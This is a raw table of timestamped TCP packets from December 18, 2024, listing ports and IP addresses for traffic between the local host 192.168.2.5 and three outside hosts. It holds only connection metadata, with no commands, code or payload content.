Dec 18, 2024 19:08:15.600873947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.601418972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.601455927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.601567030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.601603985 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.602365971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.602404118 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.602475882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.602510929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.603374004 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.603411913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.603744984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.603784084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.604319096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.604358912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.604598999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.604784966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.605398893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.605439901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.605635881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.605674982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.606127977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.606169939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.606247902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.606283903 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.607074976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.607119083 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.607511997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.607561111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.608079910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.608092070 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.608122110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.608145952 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.609010935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.609056950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.609208107 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.609242916 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.609884977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.609929085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.610019922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.610084057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.610826969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.610871077 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.610953093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.610989094 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.611784935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.611826897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.611927986 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.611965895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.612709999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.612752914 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.612886906 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.612925053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.613693953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.613729954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.614303112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.614341021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.614604950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.614618063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.614639044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.614659071 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.615555048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.615601063 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.615665913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.615701914 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.616522074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.616566896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.616600037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.616631985 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.617425919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.617461920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.617564917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.617599964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.618431091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.618477106 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.618669987 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.618711948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.619333029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.619383097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.619443893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.619549990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.620284081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.620331049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.620481014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.620532036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.621203899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.621248960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.621818066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.621864080 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.622119904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.622160912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.623226881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.623240948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.623274088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.623297930 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.623423100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.623460054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.624058962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.624105930 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.624284029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.624322891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.624955893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.625000954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.625076056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.625113964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.625917912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.625967979 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.626048088 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.626091957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.626939058 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.626979113 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.627298117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.627342939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.627762079 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.627805948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.627892971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.627932072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.641433001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.641520977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.641576052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.641637087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.641807079 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.641848087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.641922951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.641963959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.642647028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.642688990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.643264055 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.643320084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.643488884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.643538952 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.774462938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.774530888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.774563074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.774575949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.774610996 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.774626970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.774736881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.774782896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.775485039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.775531054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.775577068 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.775618076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.776472092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.776515961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.776691914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.776738882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.777477026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.777520895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.777610064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.777653933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.778304100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.778345108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.778485060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.778521061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.779357910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.779395103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.779927015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.779970884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.780211926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.780251980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.780447006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.780483007 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.781096935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.781152964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.781431913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.781476021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.782069921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.782111883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.782201052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.782234907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.783000946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.783042908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.783256054 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.783296108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.783993959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.784028053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.784101009 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.784140110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.784918070 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.784954071 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.784990072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.785026073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.785840034 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.785878897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.786041975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.786077976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.786772013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.786806107 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.786990881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.787025928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.787739038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.787775993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.787935019 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.787969112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.788707018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.788743019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.789057016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.789093971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.789627075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.789663076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.789994955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.790030956 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.790549994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.790586948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.790647030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.790679932 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.791467905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.791506052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.791631937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.791665077 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.792429924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.792473078 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.792723894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.792762041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.793349981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.793390989 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.793739080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.793775082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.794303894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.794342995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.794466972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.794508934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.795217037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.795255899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.796013117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.796056986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.796291113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.796330929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.796435118 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.796480894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.797116041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.797163963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.797281981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.797384024 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.798074007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.798118114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.798305035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.798346043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.798995018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.799052954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.799340963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.799382925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.799937010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.799979925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.800040007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.800081015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.800898075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.800939083 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.801242113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.801280975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.801853895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.801899910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.802031040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.802074909 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.803004980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.803047895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.803221941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.803268909 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.803792000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.803831100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.803864002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.803905010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.804740906 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.804784060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.805066109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.805105925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.805635929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.805680990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.806041002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.806081057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.806596041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.806607962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.806646109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.806663036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.807481050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.807524920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.807605982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.807641983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.808388948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.808430910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:17.668277025 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:17.668319941 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:17.668479919 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:17.669810057 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:17.669823885 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:18.442889929 CET	49719	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:18.443238974 CET	49722	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:18.564986944 CET	80	49722	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:18.565321922 CET	80	49719	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:18.565407991 CET	49722	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:18.565445900 CET	49719	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:18.578458071 CET	49722	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:18.705048084 CET	80	49722	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:18.932194948 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:18.932282925 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:19.175941944 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:19.175971031 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:19.176348925 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:19.221043110 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:19.333386898 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:19.333386898 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:19.333487988 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:19.922030926 CET	80	49722	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:19.922111034 CET	49722	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:19.925298929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:19.925762892 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:20.045768023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:20.045804977 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:20.045828104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:20.045878887 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:20.046186924 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:20.166645050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.382865906 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.382906914 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.382917881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.382988930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.382988930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.383064032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.383075953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.383128881 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.383128881 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.383428097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.383439064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.383449078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.383503914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.383505106 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.383812904 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.383829117 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.383888006 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.383888006 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.502676010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.502744913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.502777100 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.502811909 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.506809950 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.506874084 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.506901026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.506947994 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.515253067 CET	80	49723	31.41.244.11	192.168.2.5
